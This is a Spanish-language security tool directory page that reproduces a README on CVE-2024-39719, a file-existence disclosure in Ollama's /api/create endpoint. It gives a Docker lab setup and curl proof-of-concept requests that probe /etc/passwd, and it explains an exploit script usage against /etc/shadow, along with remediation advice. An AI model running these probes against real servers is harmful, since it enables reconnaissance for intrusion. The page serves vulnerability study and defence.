Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-39719 | Kitploit
Herramientas/GitHubGitHub/srcx404/cve-2024-39719
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónAprendizaje y Educación
GitHubsrcx404/cve-2024-39719

CVE-2024-39719

Ver Repositorio
hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Análisis de la Vulnerabilidad de Divulgación de Existencia de Archivos en Ollama (CVE-2024-39719)

中文

Resumen de la Vulnerabilidad

CVE-2024-39719 es una vulnerabilidad de divulgación de existencia de archivos que afecta a las versiones de Ollama 0.3.14 y anteriores. Esta vulnerabilidad permite a los atacantes detectar la existencia de archivos específicos en el servidor a través de un endpoint de la API, lo que potencialmente puede conducir a fugas de información.

Fecha de Publicación: 31 de octubre de 2024

Detalles de la Vulnerabilidad

Causa Raíz

La vulnerabilidad existe en el endpoint /api/create de Ollama. Cuando un atacante llama a la API CreateModel con un parámetro de ruta, el servidor devuelve diferentes mensajes de error según si la ruta existe o no. Este comportamiento permite a un atacante determinar si un archivo o directorio específico existe en el servidor mediante el análisis de los mensajes de error.

El problema central es que, al manejar la entrada del usuario, el sistema expone directamente los errores del sistema de archivos al cliente en lugar de ocultar adecuadamente la información sobre la existencia de rutas.

Versiones Afectadas

Esta vulnerabilidad afecta a todas las versiones de Ollama hasta la 0.3.14 inclusive.

Impacto

Aunque una vulnerabilidad de divulgación de existencia de archivos puede parecer inicialmente menos grave, puede:

  1. Servir como paso preliminar en ataques más complejos, ayudando a los atacantes a recopilar información del servidor
  2. Utilizarse para detectar la presencia de archivos de configuración críticos, certificados o archivos de datos sensibles
  3. Ayudar a los atacantes a realizar ataques más dirigidos
  4. Provocar fugas de información en entornos específicos, como confirmar la existencia de usuarios particulares o características del sistema

Reproducción de la Vulnerabilidad

Configuración del Entorno

  1. Cree un entorno vulnerable de Ollama utilizando el siguiente archivo Docker Compose:
root@kitploit:~
services:
  ollama:
    image: ollama/ollama:0.3.14
    container_name: ollama
    volumes:
      - ollama:/root/.ollama
    ports:
      - "11434:11434"

volumes:
  ollama:
  1. Inicie el servicio:
root@kitploit:~
docker compose up -d
  1. Después de que el servicio se inicie, puede confirmar que Ollama 0.3.14 está en ejecución accediendo a http://your-ip:11434/.

Pasos de Reproducción

1. Prueba de Archivos Inexistentes

Envíe una solicitud usando curl para intentar acceder a un archivo inexistente:

root@kitploit:~
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'

Respuesta:

root@kitploit:~
{"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}

2. Prueba de Archivos Existentes

Pruebe con un archivo existente, como /etc/passwd:

root@kitploit:~
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/etc/passwd"}'

Respuesta:

root@kitploit:~
{"error":"no FROM line for the model was specified"}

Al analizar estos diferentes mensajes de error, un atacante puede determinar si una ruta objetivo existe o no, obteniendo información sobre la estructura de archivos del servidor. Tenga en cuenta que la información devuelta por el servidor puede variar según la versión.

Remediación de la Vulnerabilidad

Corrección Oficial

Ollama ha corregido esta vulnerabilidad en versiones más recientes. Las correcciones incluyen:

  1. Estandarizar el manejo de errores para evitar filtrar información sobre la existencia de archivos
  2. Implementar una validación y filtrado más estrictos de las rutas proporcionadas por el usuario
  3. Utilizar mensajes de error más genéricos que no expongan directamente la información del sistema de archivos

Pasos de Remediación Recomendados

  1. Actualice Ollama: La solución más efectiva es actualizar a la versión más reciente de Ollama.
  2. Control de Acceso: Restrinja el acceso a los endpoints de la API, permitiendo solo a usuarios autorizados.
  3. Aislamiento de Red: Cuando sea posible, implemente los servicios de Ollama en redes aisladas para reducir el acceso externo.
  4. Monitoreo: Mejore el monitoreo de las llamadas a la API, prestando especial atención a la detección de patrones de acceso inusuales al endpoint /api/create.

Uso del Script de Explotación

El script de Python proporcionado le permite probar si un servidor Ollama es vulnerable a CVE-2024-39719.

Requisitos

  • Python 3.x
  • Paquetes requeridos: requests, termcolor

Instalación

root@kitploit:~
pip install requests termcolor

Uso

root@kitploit:~
python CVE_2024_39719.py -u <ollama-server-url> [-f <file-to-check>]

Opciones

  • -u, --url: URL del servidor Ollama (obligatorio)
  • -f, --file: Archivo a verificar su existencia (por defecto "/etc/passwd")

Ejemplos

root@kitploit:~
# Check if a server is vulnerable
python CVE_2024_39719.py -u http://your-ip:11434

# Check if a specific file exists
python CVE_2024_39719.py -u http://your-ip:11434 -f /etc/shadow

Referencias

  • CVE-2024-39719 en la Base de Datos Nacional de Vulnerabilidades
  • Repositorio de Ollama en GitHub
  • Avisos de Seguridad de Ollama

Descargo de Responsabilidad

Este script se proporciona únicamente con fines educativos y para pruebas de seguridad legítimas. Asegúrese siempre de contar con la autorización adecuada antes de probar cualquier sistema en busca de vulnerabilidades. Las pruebas no autorizadas pueden violar leyes y regulaciones.

Descargar herramienta